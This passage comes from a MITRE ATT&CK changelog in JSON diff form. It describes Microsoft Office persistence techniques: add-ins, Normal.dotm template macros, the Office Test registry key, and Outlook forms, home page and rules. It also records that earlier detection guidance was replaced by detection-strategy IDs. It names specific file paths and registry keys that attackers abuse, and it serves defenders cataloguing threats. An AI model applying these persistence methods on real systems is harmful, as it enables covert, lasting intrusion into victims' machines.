+ "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1137/006",
+ "external_id": "T1137.006"
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+ "source_name": "FireEye Mail CDS 2018",
+ "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20190508170121/https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf"
+ },
+ {
+ "source_name": "MRWLabs Office Persistence Add-ins",
+ "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
+ },
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+ "source_name": "Microsoft Office Add-ins",
+ "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.",
+ "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460"
+ },
+ {
+ "source_name": "GlobalDotName Jun 2019",
+ "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.",
+ "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
+ }
+ ],
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+ "x_mitre_detection": "",
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Modification\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.911000+00:00\", \"old_value\": \"2025-04-15 21:45:27.400000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\\n-\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1040: Behavior Prevention on Endpoint"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0050: Detect Persistence via Malicious Office Add-ins"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-11-07 20:29:17.788000+00:00",
+ "modified": "2025-10-24 17:48:59.432000+00:00",
+ "name": "Office Template Macros",
+ "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:C:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1137/001",
+ "external_id": "T1137.001"
+ },
+ {
+ "source_name": "MSDN VBA in Office",
+ "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.",
+ "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office"
+ },
+ {
+ "source_name": "Hexacorn Office Template Macros",
+ "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.",
+ "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/"
+ },
+ {
+ "source_name": "Microsoft Change Normal Template",
+ "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.",
+ "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea"
+ },
+ {
+ "source_name": "enigma0x3 normal.dotm",
+ "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.",
+ "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/"
+ },
+ {
+ "source_name": "CrowdStrike Outlook Forms",
+ "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.",
+ "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"
+ },
+ {
+ "source_name": "GlobalDotName Jun 2019",
+ "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.",
+ "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
+ },
+ {
+ "source_name": "Outlook Today Home Page",
+ "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.",
+ "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"
+ }
+ ],
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Office Suite"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.432000+00:00\", \"old_value\": \"2025-04-15 22:54:50.299000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1040: Behavior Prevention on Endpoint",
+ "M1042: Disable or Remove Feature or Program"
+ ],
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+ "changelog_datacomponent_detections": {
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+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0519: Detect Persistence via Office Template Macro Injection or Registry Hijack"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-11-07 19:44:04.475000+00:00",
+ "modified": "2025-10-24 17:49:34.588000+00:00",
+ "name": "Office Test",
+ "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature, such as:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
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+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1137/002",
+ "external_id": "T1137.002"
+ },
+ {
+ "source_name": "Palo Alto Office Test Sofacy",
+ "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
+ "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"
+ },
+ {
+ "source_name": "Hexacorn Office Test",
+ "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.",
+ "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/"
+ }
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+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Office Suite"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Creation\", \"Command: Command Execution\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Process: Process Creation\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.588000+00:00\", \"old_value\": \"2025-04-15 22:55:04.029000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\\n\\nConsider monitoring Office processes for anomalous DLL loads.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\\n-\\n-Consider monitoring Office processes for anomalous DLL loads.\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1040: Behavior Prevention on Endpoint",
+ "M1054: Software Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0315: Detect Persistence via Office Test Registry DLL Injection"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-11-07 20:06:02.624000+00:00",
+ "modified": "2025-10-24 17:49:12.562000+00:00",
+ "name": "Outlook Forms",
+ "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1137/003",
+ "external_id": "T1137.003"
+ },
+ {
+ "source_name": "Microsoft Detect Outlook Forms",
+ "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
+ "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
+ },
+ {
+ "source_name": "SensePost NotRuler",
+ "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
+ "url": "https://github.com/sensepost/notruler"
+ },
+ {
+ "source_name": "SensePost Outlook Forms",
+ "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.",
+ "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Office Suite"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:12.562000+00:00\", \"old_value\": \"2025-04-15 22:55:18.800000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n-\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1040: Behavior Prevention on Endpoint",
+ "M1051: Update Software"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0015: Application Log (Application Log Content)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0029: Detect Persistence via Outlook Custom Forms Triggered by Malicious Email"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-11-07 20:09:56.536000+00:00",
+ "modified": "2025-10-24 17:49:18.872000+00:00",
+ "name": "Outlook Home Page",
+ "description": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1137/004",
+ "external_id": "T1137.004"
+ },
+ {
+ "source_name": "Microsoft Detect Outlook Forms",
+ "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
+ "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
+ },
+ {
+ "source_name": "SensePost NotRuler",
+ "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
+ "url": "https://github.com/sensepost/notruler"
+ },
+ {
+ "source_name": "SensePost Outlook Home Page",
+ "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.",
+ "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Office Suite"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.872000+00:00\", \"old_value\": \"2025-04-15 22:55:34.415000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n-\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1040: Behavior Prevention on Endpoint",
+ "M1051: Update Software"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0015: Application Log (Application Log Content)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0177: Detect Persistence via Outlook Home Page Exploitation"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-11-07 20:00:25.560000+00:00",
+ "modified": "2025-10-24 17:48:41.026000+00:00",
+ "name": "Outlook Rules",
+ "description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1137/005",
+ "external_id": "T1137.005"
+ },
+ {
+ "source_name": "Pfammatter - Hidden Inbox Rules",
+ "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
+ "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"
+ },
+ {
+ "source_name": "Microsoft Detect Outlook Forms",
+ "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
+ "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
+ },
+ {
+ "source_name": "SilentBreak Outlook Rules",
+ "description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.",
+ "url": "https://silentbreaksecurity.com/malicious-outlook-rules/"
+ },
+ {
+ "source_name": "SensePost NotRuler",
+ "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
+ "url": "https://github.com/sensepost/notruler"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Microsoft Security"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Office Suite"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Application Log: Application Log Content\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.026000+00:00\", \"old_value\": \"2025-04-15 22:55:47.125000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n-\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1040: Behavior Prevention on Endpoint",
+ "M1051: Update Software"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0015: Application Log (Application Log Content)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0095: Detect Persistence via Malicious Outlook Rules"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2018-04-18 17:59:24.739000+00:00",
+ "modified": "2025-10-24 17:49:15.781000+00:00",
+ "name": "Password Policy Discovery",
